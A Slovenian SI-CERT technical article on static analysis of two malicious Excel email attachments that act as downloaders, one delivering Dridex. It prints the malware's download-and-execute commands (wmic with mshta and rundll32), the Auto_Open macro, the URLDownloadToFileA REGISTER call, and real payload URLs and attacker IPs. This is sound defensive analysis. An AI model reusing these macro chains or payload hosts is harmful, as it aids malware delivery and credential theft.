Skoči na vsebino

SI-CERT TZ010 / Statična analiza prenašalnikov škodljive kode

Datoteke, ki so priložene škodljivim elektronskim sporočilom, skoraj vedno predstavljajo zgolj prvo fazo okužbe računalnika. Te datoteke običajno vsebujejo samo programsko kodo v zamaskirani obliki, ki poskuša iz enega ali več oddaljenih sistemov prenesti neko drugo škodljivo kodo in jo zagnati. Gre za t.i. prenašalnik oz. angl. downloader. S statično analizo prenašalnika poskušamo ugotoviti, iz katerih vseh oddaljenih sistemov poskuša prenesti škodljivo kodo. V članku opisujemo statično analizo dveh zlonamernih Excelovih datotek, ki sta bili uporabljeni v napadih preko elektronske pošte na različne slovenske uporabnike.

Analiza Invoice-7146061_20211021.xlsb

Zlonamerno sporočilo je vsebovalo prilogo z imenom “xlsb.zip”, ki je vseboval datoteko z imenom “Invoice-7146061_20211021.xlsb” (SHA256 6f3d7bbdabc1113fcda6bd5a8cdb0dfb8e6872595ca12af6900cf3180891453e).

Ukaz “file” je pokazal, da je šlo za datoteko vrste Microsoft Excel 2007+. Iz izpisa znakovnih nizov z orodjem strings nismo razbrali nobenih posebnosti.

Datoteko smo še dodatno odpakirali z ukazom unzip. Iz datoteke “docProps/app.xml” je bilo razvidno, da se uporabljajo listi (sheets), ki uporabljao Excel 4.0 makre. Ti listi so se nahajali v mapi “xl/macrosheets” in so bili v binarni obliki.

V tem primeru je bil tam le en list z imenom “sheet1.bin”. Nad njim smo pognali ukaz strings, ki sprva ni izpisal nekih zanimivosti. Ko smo vključili še unicode znakovne nize, smo opazili niz “wmic process call create ‘mshta C:\Users\user\AppData\Roaming\Microsoft\Excel\XLSTART\excel.rtf'”.

Iz tega smo sklepali, da dokument z uporabo makrov zapiše neko kodo v datoteko “C:\Users\user\AppData\Roaming\Microsoft\Excel\XLSTART\excel.rtf”, ki jo nato zažene.

Nadaljnjo analizo smo poskusili opraviti z orodji oletools in oledump, vendar noben od njiju ne podpira xlsb formata. Zato smo se obrnili na orodje XLMMacroDeobfuscator. Najprej smo izvedli ukaz “xlmdeobfuscator -f Invoice-7146061_20211021.xlsb -x > makro.txt”, ki je v datoteko “makro.txt” izpisal kodo makra.

V tej kodi smo videli, da ustvari datoteko “C:\Users\user\AppData\Roaming\Microsoft\Excel\XLSTART\excel.rtf” in jo zažene.

Del dekodirane kode makra.

Na sliki je v rdečem okvirju razvidna glavna zanka, ki je zapisala podatke v datoteko “excel.rtf”. Z rumeno so označene ASCII vrednosti podatkov, z oranžno pa formula, ki je shranjeno datoteko zagnala.

Zapis podatkov se je torej izvedel tako, da je šla zanka od celice CK166 do celice DM502 in iz vsake prebrala ASCII kodo ter jo zapisala v handle datoteke, ki se je nahaja v celici A2 (v njej je bila koda, ki odpre datoteko).

Nato smo izvedli ukaz “xlmdeobfuscator -f Invoice-7146061_20211021.xlsb –start-point ‘Macro1!F1136’ > eval.txt”. Ta je emuliral izvajanje makra z začetkom v celici F1136 (začetek FOR zanke) in rezultat izpisal v datoteko “eval.txt”.

Nad izhodno datoteko smo izvedli nekaj sed ukazov in pridobili podatke, ki so se zapisali v datoteko “excel.rtf”.

Del izpisa emulacije makra. Podatki, ki se zapišejo v datoteko so označeni z rumeno, ukaz, ki zažene datoteko, pa z rdečo.

Datoteko “excel.rtf” smo odprli z urejevalnikom besedil in v njej našli kodo, ki je prenesla datoteke iz Discord CDN strežnikov iz naslednjih treh URL naslovov:

  • “https://cdn.discordapp.com/attachments/900760556175253547/900761178442178650/8_hp8500at.dll”
  • “https://cdn.discordapp.com/attachments/900760556175253547/900761177066459286/9_sysprepMCE.dll”
  • “https://cdn.discordapp.com/attachments/900760556175253547/900761161056792606/2_api-ms-win-downlevel-normaliz-l1-1-0.dll”

Če je koda uspela prenesti eno od teh datotek, jo je zapisala v datoteko “C:\ProgramData\setupcln.png”. To datoteko je tudi zagnala oz. v njej izvedla funkcijo “EnumGadgets” z uporabo ukaza ‘wmic process call create “rundll32.exe C:\ProgramData\setupcln.png EnumGadgets”‘.

Obfuskirana in deobfuskirana koda v “excel.rtf” datoteki.

Šlo je za zlonamerno kodo vrste Dridex, katere namen je kraja avtentikacijskih in drugih osebnih podatkov iz okuženih sistemov (v času objave tega članka datoteke na zgornjih URL naslovih niso več dosegljive).

Analiza Outstanding-Debt-346459702-05042021.xlsm

V drugem primeru se je v prilogi zlonamernega sporočila nahajala datoteka “Outstanding-Debt-346459702-05042021.xlsm” (SHA256 59a166bf22e21710752d9aafa3a1c90a76740511771f52c9b77f69708ec0cd75). Glede na končnico xlsm je šlo za Excelov dokument z omogočenimi makri.

Datoteko smo najprej odpakirali in analizirali strukturo. Znotraj “docProps/app.xml” smo našli omembo niza “Macro Excel 4.0” (v cirilici), na podlagi katerega smo sklepali, da je dokument vseboval liste, ki so vsebovali Excel 4.0 makre. Odkrili smo tudi binarno datoteko “xl/vbaProject.bin”, ki je vsebovala VBA funkcije in makre dokumenta.

Slika, ki se prikaže ob odprtju dokumenta in poskuša prelisičiti uporabnika, da vklopi makre s katerimi se zažene zlonamerna koda.

V mapi “xl/printerSettings” smo našli dve binarni datoteki “printSettings1.bin” in “printSettings2.bin”. Ti dve datoteki sta nam bili sumljivi, saj se z njimi še nismo srečali, poleg tega sta pa binarni in bi lahko vsebovali ujeta škodljivo “shell kodo”. Iz brskanja po internetu o namenu teh datotek nismo izvedeli veliko uporabnih informacij.

Iz imena smo sklepali, da je šlo za datoteko, ki je vsebovala nastavitve za tiskanje. Z uporabo hex urejevalnika smo izvedeli, da je datoteka skoraj povsem prazna oz. da vsebuje ničle. Drugi podatki so bili v večini znakovni nizi in nekaj binarnih podatkov. Za vsak slučaj smo z enostavnim razstavljavcem pogledali te binarne podatke, vendar nismo odkrili nobene sumljive kode.

Nato smo se lotili analize listov, ki so vsebovali makre. Ti listi so se nahajali v mapi “/xl/macrosheets”. V tem primeru so se tu nahajali trije listi v XML formatu – “sheet1.xml”, “sheet2.xml” in “sheet3.xml”. Te smo odprli z urejevalnikom Visual Code in uredili izpis s pomočjo dodatka.

Sedaj smo za vsak makro list videli celice, ki jih ta list uporablja. Za vsako celico smo videli dva polja “<f>” (formula) in “<v>” (value). V polju za formulo se je nahajala vrednost formule, v polju za vrednost smo pa videli zadnjo izračunano oz. izvedeno vrednost formule.

Primer lista odprtega v tekstovnem urejevalniku. Označena sta polja, ki nam povesta lokacijo in tip celice ter vrednost formule

Ta izračunana vrednost nam je olajšala analizo, saj smo za te celice samo na hitro preverili, ali se “poravna” s funkcijo. Želeli smo še odkriti začetek izvajanja kode. V datoteki “xl/vbaProject.bin” smo našli niz “Sub Auto_Open Application.Run Sheets(“Nyukasl”).Range(“AJ6v”^)b50’` End”.

To je bil nek “artifakt”, ki je ostal v binarni datoteki, in nam je dal namig, kje se nahaja začetek izvajanje kode. Prava koda je bila binarno kodirana in smo se odločili, da jo dekodiramo z uporabo orodja oledump.py. Ta nam je izpisal sledečo kodo:

Private Sub Auto_Open()
Application.Run Sheets("Nyukasl").Range("AJ6")
Application.Run Sheets("Nyukasl").Range("A5")
Application.Run Sheets("Nyukasl").Range("A5")
End Sub

Poleg tega je vsebovala tudi neke atribute za katere smo smatrali, da niso pomembni. Funkcija Auto_Open se pokliče avtomatsko ob odprtju dokumenta oz. vklopu makrov. Iz te kode je razvidno, da se koda začne izvajati v celici “AJ6” lista “Nyukasl”. Imena listov smo odkrili v datoteki “xl/workbook.xml” in so:

  • Nyukasl – makro list “sheet1.xml”
  • Blodas – makro list “sheet2.xml”
  • Jioka – makro list “sheet3.xml”
Najden “artifakt” v binarni datoteki “vbaProject.bin

Nato smo se vrnili v kodo makro listov in pogledali potek. Odkrili smo, da list “Nyukasl” ni imel definirane celice “AJ6”, ampak ker je izvajanje kode potekalo iz celice v celico (A1, A2, A3, …), se je v tem primeru prva izvedla celica “AJ77″. V tej celici se je izvedla formula ‘ON.TIME(NOW()+”00:00:02″,”Grestes”)’, ki je nastavila časovnik, ki je po dveh sekundah poklical funkcijo “Grestes”.

Ta funkcija je bila definirana v “xl/workbook.xml” in sicer je to sklic na celico “Nyukasl!$AH$14”. Tam so se posodobile nekatere vrednosti celic in izvedla koda za prenos datotek, ki bo opisana v nadaljevanju. Po nastavitvi časovnika se je v naslednji celici zaključilo izvajanje trenutnega makro lista (ukaz HALT).

Zatem se je izvedla VBA koda ‘Application.Run Sheets(“Nyukasl”).Range(“A5”)’. Na tem mestu so se izvedle formule za generiranje treh URL-jev, ki imajo format “http://{HOST}/{TRENUTNI ČAS}.dat”. HOSTi, ki se uporabijo so:

  • 185.183.99.115
  • 51.89.73.159
  • 190.14.37.38

Nato se je izvedla še formula, ki je izračunala vrednost niza “URLDownloadToFileA”, zatem pa skočila v kodo za prenos datotek, ki se je nahaja v celici B6 lista Blodas.

V listu Blodas se je najprej izvedla funkcija REGISTER, ki “registrira” zunanjo funkcijo znotraj neke knjižnice, in ji nastavi ime Excel funkcije. To funkcijo lahko potem pokličemo znotraj Excel dokumenta.

V tem primeru je klic REGISTER funkcije uporabljal tudi celice, ki so imele polje “<t>” (type) nastavljeno na “s” (shared?). Te celice so uporabljale nize, ki so definirani v datoteki “xl/sharedStrings.xml”. Celoten klic funkcije je izgledal:

REGISTER(Nyukasl!AI82,Nyukasl!AI83,Nyukasl!AI84,Nyukasl!AI85,,Nyukasl!AI75,9) => REGISTER(“uRlMon”,”URLDownloadToFileA”,”JJCCBB”,”Belandes”,,1,9)

Pomembni parametri tega klica so:

  • “uRlMon” – ime knjižnice
  • “URLDownloadToFileA” – ime funkcije v knjižnici
  • “Belandes” – ime funkcije v Excel dokumentu

Naslednja koda je nato klicala funkcijo “Belandes” oz. “URLDownloadToFileA”. Ta funkcija je prenesla datoteko iz nekega URL naslova in jo shranila v datoteko. Funkcija je bila poklicana za vse tri naslove, ki smo jih omenili zgoraj, in poskusila prenesti tovor v datoteko “..\Ladfge.VDGfwr”.

Če ji je to uspelo, se je na koncu izvedla še formula “exec rundll32 ..\Ladfge.VDGfwr,DllRegisterServer”. Ta formula je poklicala funkcijo “DllRegisterServer” znotraj prenesenega tovora (dll knjižnica) in je tako okužila sistem.

Preberite tudi

5 varnostnih nasvetov, ki naj v 2025 gredo v pozabo

Pripravili smo pregled nekaj varnostnih nasvetov, ki naj v 2025 gredo v pozabo, saj gre za prakse, ki več ne ustrezajo sodobnim varnostnim zahtevam.
Več

Kaj nas je naučilo leto 2024?

Iztekajoče leto 2024 so zaznamovali tako odmevnejši kibernetski napadi na velike organizacije, ki so pritegnili veliko medijske pozornosti, kot tudi veliko število incidentov v manjših podjetjih, predvsem prevar z vrivanjem v poslovno komunikacijo (t.i. BEC prevara) in okužb z zlonamerno kodo (t.i. infostealers). 
Več

Konferenca o ozaveščanju o kibernetski varnosti

Agencija EU za kibernetsko varnost ENISA je v partnerstvu s SI-CERT organizirala prvo mednarodno konferenco o ozaveščanju o kibernetski varnosti. Dogodek je 27. novembra 2024, v Klubu Cankarjevega doma, gostil …
Več